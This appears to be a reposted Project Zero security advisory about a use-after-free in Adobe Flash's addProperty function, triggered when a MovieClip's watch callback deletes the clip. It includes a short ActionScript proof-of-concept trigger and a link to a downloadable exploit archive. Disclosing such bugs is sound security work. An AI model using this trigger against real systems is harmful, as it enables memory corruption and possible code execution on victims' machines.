Adobe Flash - addProperty Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=801
 
There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.
 
A minimal PoC follows:
 
var t = this.createEmptyMovieClip( "t", 1);
t.watch("a", func);
t.addProperty("a", func, func);
 
function func(){
     
    trace("a");
     
    }
 
A sample fla and swf are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39830.zip

#  0day.today [2018-01-08]  #